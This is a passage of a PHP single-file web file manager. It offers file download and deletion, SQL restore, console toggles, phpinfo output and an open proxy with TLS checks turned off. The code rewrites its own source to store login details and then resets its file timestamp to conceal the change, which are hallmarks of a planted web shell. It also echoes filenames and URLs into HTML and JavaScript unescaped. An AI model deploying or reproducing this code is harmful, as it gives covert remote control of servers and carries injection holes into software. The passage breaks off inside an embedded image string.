	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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